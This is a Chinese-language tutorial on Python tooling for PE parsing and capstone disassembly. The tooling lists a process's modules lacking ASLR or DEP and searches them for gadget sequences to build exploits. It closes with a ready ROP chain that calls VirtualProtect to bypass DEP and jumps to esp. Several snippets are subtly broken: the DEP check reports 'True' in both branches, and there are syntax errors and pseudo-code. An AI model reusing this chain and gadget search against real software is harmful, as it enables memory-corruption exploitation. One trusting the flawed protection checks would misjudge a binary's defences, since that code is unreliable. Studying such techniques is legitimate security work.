Python 反汇编与ROP构建代码

通过利用反汇编库，并使用python编写工具，读取PE结构中的基地址偏移地址，找到OEP并计算成FOA文件偏移，使用反汇编库对其进行反汇编，并从反汇编代码里查找事先准备好的ROP绕过代码，让其自动完成搜索，这里给出实现思路与部分代码片段，完整代码不便公开，。

思路，通过读取指定进程的所有内置模块，依次验证其是否存在没有开启保护的模块，然后讲这些模块的地址存储到变量里，然后利用反汇编工具对其进行全文反汇编，并找出需要构造的ROP绕过片段，最后将其首地址取出来，组合成ROP链条即可。

十六进制转换器 可自行添加上，文件与偏移对应关系，即可实现指定位置的数据转换，这里给出坑爹版实现，自己晚膳吧。

#coding:utf-8
import os,sys
import binascii

# binascii.a2b_hex("4d")

if __name__ == "__main__":
    count = 0
    size = os.path.getsize("qq.exe")
    print("文件指针: {}".format(size))
    fp = open("qq.exe","rb")
    
    lis = []
    
    for item in range(500):
        char = fp.read(1)
        count = count + 1
        if count % 16 == 0:
            if ord(char) < 16:
                print("0" + hex(ord(char))[2:])
            else:
                print(hex(ord(char))[2:])
        else:
            if ord(char) < 16:
                print("0" + hex(ord(char))[2:] + " ",end="")
            else:
                print(hex(ord(char))[2:] + " ",end="")

二进制与字符串互转

import os

def to_ascii(h):
    list_s = []
    for i in range(0, len(h), 2):
        list_s.append(chr(int(h[i:i+2], 16)))
    return ''.join(list_s)

def to_hex(s):
    list_h = []
    for c in s:
        list_h.append(hex(ord(c))[2:])
    return ''.join(list_h)
    
with open("d://run.exe","rb") as fp:
    lis = []
    for x in range(10240):
        for i in range(64):
            char = fp.read(1)
            print(to_ascii(hex(ord(char))[2:]),end="")
        print("")

反汇编框架

import os
from capstone import *

CODE = b"\x55\x8b\xec\x6a\x00\xff\x15\x44\x30\x11\x00"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
    print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))

print("*" * 100)

CODE64 = b"\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\xea\xbe\xad\xde\xff\x25\x23\x01\x00\x00\xe8\xdf\xbe\xad\xde\x74\xff"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(CODE64, 0x1000):
    print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))

读取pE结构的代码 读取导入导出表，用Python 实在太没意思了，请看C/C++ 实现PE解析工具笔记。

def ScanImport(filename):
    pe = pefile.PE(filename)
    print("-" * 100)
    try:
        for x in pe.DIRECTORY_ENTRY_IMPORT:
            for y in x.imports:
                print("[*] 模块名称: %-20s 导入函数: %-14s" %((x.dll).decode("utf-8"),(y.name).decode("utf-8")))
    except Exception:
        pass
    print("-" * 100)

def ScanExport(filename):
    pe = pefile.PE(filename)
    print("-" * 100)
    try:
        for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
            print("[*] 导出序号: %-5s 模块地址: %-20s 模块名称: %-15s" 
            %(exp.ordinal,hex(pe.OPTIONAL_HEADER.ImageBase + exp.address),(exp.name).decode("utf-8")))
    except:
        pass
    print("-" * 100)

验证DEP+ASLR

    # 随机基址 => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x40 == 0x40
    if( (pe.OPTIONAL_HEADER.DllCharacteristics & 64)==64 ):
        print("基址随机化: True")
    else:
        print("基址随机化: False")
    # 数据不可执行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
    if( (pe.OPTIONAL_HEADER.DllCharacteristics & 256)==256 ):
        print("DEP保护状态: True")
    else:
        print("DEP保护状态: True")
    # 强制完整性=> hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x80 == 0x80
    if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 128)==128 ):
        print("强制完整性: True")
    else:
        print("强制完整性: False")
    if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 1024)==1024 ):
        print("SEH异常保护: False")
    else:
        print("SEH异常保护: True")

哈哈哈，组合拳，一套连招，啪啪啪，找出程序中脆弱模块。

def CheckModules():
    ProcessModule = GetProcessModules(7184)
    print("-" * 100)
    print("映像基址\t模块名称\t基址随机化\tDEP保护兼容\t强制完整性\tSEH异常保护")
    print("-" * 100)
    for item in ProcessModule:
        pe = pefile.PE(item[2])
        print("%10s"%(item[0]),end="\t")
        print("%10s"%(item[1]),end="\t")
        if( (pe.OPTIONAL_HEADER.DllCharacteristics & 64)==64 ):
            print("True",end="\t\t")
        else:
            print("False",end="\t\t")
        if( (pe.OPTIONAL_HEADER.DllCharacteristics & 256)==256 ):
            print("True",end="\t\t")
        else:
            print("True",end="\t\t")
        if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 128)==128 ):
            print("True",end="\t\t")
        else:
            print("False",end="\t\t")
        if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 1024)==1024 ):
            print("False",end="\t\t")
        else:
            print("True",end="\t\t")
        print("\n")
CheckModules()

组合起来将会形成一个非常完善的工具，可以说是老司机必备

反汇编老司机开车 查找指令片段，坑司机版。

from capstone import *

def Disassembly(path,BaseAddr,FileOffset,ReadByte):
    opcode_list = []
    
    with open(path,"rb") as fp:
        fp.seek(int(FileOffset))
        opcode = fp.read(int(ReadByte))

    md = Cs(CS_ARCH_X86, CS_MODE_32)
    for item in md.disasm(opcode, 0x1):
        addr = int(BaseAddr) + item.address
        dic = {"Addr": str(addr) , "OpCode": item.mnemonic + " " + item.op_str}
        opcode_list.append(dic)
    return opcode_list


code = Disassembly("D://run.exe","401000","2208","100")

for item in code:
    if item["OpCode"]=="mov eax, dword ptr [ebp + 0x10]":
        print("找到了,地址是:0x{}".format(item["Addr"]))

opcode寻找指令片段

from capstone import *

def Disassembly(path,BaseAddr,FileOffset,ReadByte):
    opcode_list = []
    
    with open(path,"rb") as fp:
        fp.seek(int(FileOffset))
        opcode = fp.read(int(ReadByte))

    md = Cs(CS_ARCH_X86, CS_MODE_32)
    for item in md.disasm(opcode, 0x1):
        addr = int(BaseAddr) + item.address
        dic = {"Addr": str(addr) , "OpCode": item.mnemonic + " " + item.op_str}
        opcode_list.append(dic)
        #print(dic)
    return opcode_list

def Search():

    count = 0
    c = ["push ebp","mov ebp, esp","sub esp, 0xc4"]
    code = Disassembly("D://run.exe","401000","2208","100")
    
    for i in range(0,10):   # 循环比较
        s = code[ 0+i : 3+i]
        for i in range(0,3):
            if s[i].get("OpCode") == c[i]:
                #print(s[i].get("Addr"),s[i].get("OpCode"))
                count = count+1
                if count == 3:
                    print(s[0].get("Addr"))
                    exit(0)
Search()

坑司机二代

from capstone import *

def Disassembly(path,BaseAddr,FileOffset,ReadByte):
    opcode_list = []
    
    with open(path,"rb") as fp:
        fp.seek(int(FileOffset))
        opcode = fp.read(int(ReadByte))

    md = Cs(CS_ARCH_X86, CS_MODE_32)
    for item in md.disasm(opcode, 0x1):
        addr = int(BaseAddr) + item.address
        dic = {"Addr": str(addr) , "OpCode": item.mnemonic + " " + item.op_str}
        opcode_list.append(dic)
        print(dic)
    return opcode_list

def SearchOpCode(OpCodeList,SearchCode,ReadByte):
    count = 0
    SearchCount = len(SearchCode)
    for item in range(0,ReadByte):
        OpCode_Dic = code[ 0 + item : SearchCount + item ]
        try:
            for x in range(0,SearchCount):
                if OpCode_Dic[x].get("OpCode") == SearchCode[x]:
                    #print(OpCode_Dic[x].get("Addr"),OpCode_Dic[x].get("OpCode"))
                    count = count + 1
                    if count == SearchCount:
                        #print(OpCode_Dic[0].get("Addr"))
                        return OpCode_Dic[0].get("Addr")
                        exit(0)
        except Exception:
            pass

c = ["push edi","lea edi, [ebp - 0xc4]","mov ecx, 0x31"]
code = Disassembly("D://run.exe","401000","2208","100")

# code = > daimaji c => xunzhaozhiling 100 => changdu
ret = SearchOpCode(code,c,100)
print("找到指令 Address: {}".format(ret))

VA转FOA地址

import os
import pefile

def RVA_To_FOA(FilePath):
    pe = pefile.PE(FilePath)
    ImageBase = pe.OPTIONAL_HEADER.ImageBase

    for item in pe.sections:
        if str(item.Name.decode('UTF-8').strip(b'\x00'.decode())) == ".text":
            #print("虚拟地址: 0x%.8X 虚拟大小: 0x%.8X" %(item.VirtualAddress,item.Misc_VirtualSize))
            VirtualAddress = item.VirtualAddress
            VirtualSize = item.Misc_VirtualSize
            ActualOffset = item.PointerToRawData
    StartVA = hex(ImageBase + VirtualAddress)
    StopVA = hex(ImageBase + VirtualAddress + VirtualSize)
    print("[+] 代码段起始地址: {} 结束: {} 实际偏移:{} 长度: {}".format(StartVA,StopVA,ActualOffset,VirtualSize))
    
    with open(FilePath,"rb") as fp:
        fp.seek(ActualOffset)
        HexCode = fp.read(VirtualSize)
        print(HexCode)

RVA_To_FOA("d://lyshark.exe")

实现全量反汇编

# 遍历整个可执行文件并返回汇编代码,有一个小Bug
def FOA_Disassembly(FilePath):
    opcode_list = []
    pe = pefile.PE(FilePath)
    ImageBase = pe.OPTIONAL_HEADER.ImageBase

    for item in pe.sections:
        if str(item.Name.decode('UTF-8').strip(b'\x00'.decode())) == ".text":
            # print("虚拟地址: 0x%.8X 虚拟大小: 0x%.8X" %(item.VirtualAddress,item.Misc_VirtualSize))
            VirtualAddress = item.VirtualAddress
            VirtualSize = item.Misc_VirtualSize
            ActualOffset = item.PointerToRawData
    StartVA = ImageBase + VirtualAddress
    StopVA = ImageBase + VirtualAddress + VirtualSize
    # print("[+] 代码段起始地址: {} 代码段结束地址: {} 实际偏移:{} 实际长度: {}"
    #              .format(StartVA,StopVA,ActualOffset,VirtualSize))

    with open(FilePath,"rb") as fp:
        fp.seek(ActualOffset)
        HexCode = fp.read(VirtualSize)

     伪代码 ==》 Disassembly(hexCode,00401000)

反汇编序列查询：

if __name__ == "__main__":
    '''
    # 反汇编全部代码段,并查询一个指令序列
    code = FOA_Disassembly("D://run.exe")
    SearchCode = ["push ebp","mov ebp, esp", "sub esp, 0xc4"]
    ret = SearchOpCode(code,SearchCode,100000)
    print(ret)
    '''
    '''
    # Disassembly(文件路径,自定义的偏移地址,文件实际偏移,反汇编大小)
    code = Disassembly("D://run.exe","401000","2208","1000")
    SearchCode = ["push ebp","mov ebp, esp", "sub esp, 0xc4"]
    # code = 代码节起始地址 SearchCode = 寻找指令集 1000 = 检索长度
    ret = SearchOpCode(code,SearchCode,1000)
    print("序列: {} 起始地址: {}".format(SearchCode,ret))
    '''

    # 搜索一个指令序列,用于快速查找构建漏洞利用代码
    SearchCode = [
        ["push ebp","mov ebp, esp", "sub esp, 0xc4"],
        ["movzx ecx, ax","mov esi, esp","push ecx"],
        ["mov eax,1","ret"],
        ['push ebx',ret]
    ]
    
    code = Disassembly("D://run.exe","401000","2208","1000")
    for item in range(len(SearchCode)):
        Search = SearchCode[item]
        ret = SearchOpCode(code,Search,1000)
        print("序列: {} 起始地址: 0x{}".format(Search,ret)

其实上面的代码经过组合，也可以进行静态特征码定位，这里你可以自己改改，就可以实现。

给出一条过保护的ROP链

rop = struct.pack ('<L',0x7c349614)   # ret
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffcdf)   #
rop += struct.pack('<L',0x7c379c10)   # add ebp,eax
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffdff)   # value = 0x201
rop += struct.pack('<L',0x7c353c73)   # neg eax
rop += struct.pack('<L',0x7c34373a)   # pop ebx
rop += struct.pack('<L',0xffffffff)   #
rop += struct.pack('<L',0x7c345255)   # inc ebx
rop += struct.pack('<L',0x7c352174)   # add ebx,eax
rop += struct.pack('<L',0x7c344efe)   # pop edx
rop += struct.pack('<L',0xffffffc0)   # 0x40h
rop += struct.pack('<L',0x7c351eb1)   # neg edx
rop += struct.pack('<L',0x7c36ba51)   # pop ecx
rop += struct.pack('<L',0x7c38f2f4)   # &writetable
rop += struct.pack('<L',0x7c34a490)   # pop edi
rop += struct.pack('<L',0x7c346c0b)   # ret (rop nop)
rop += struct.pack('<L',0x7c352dda)   # pop esi
rop += struct.pack('<L',0x7c3415a2)   # jmp [eax]
rop += struct.pack('<L',0x7c34d060)   # pop eax
rop += struct.pack('<L',0x7c37a151)   # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed)   # jmp esp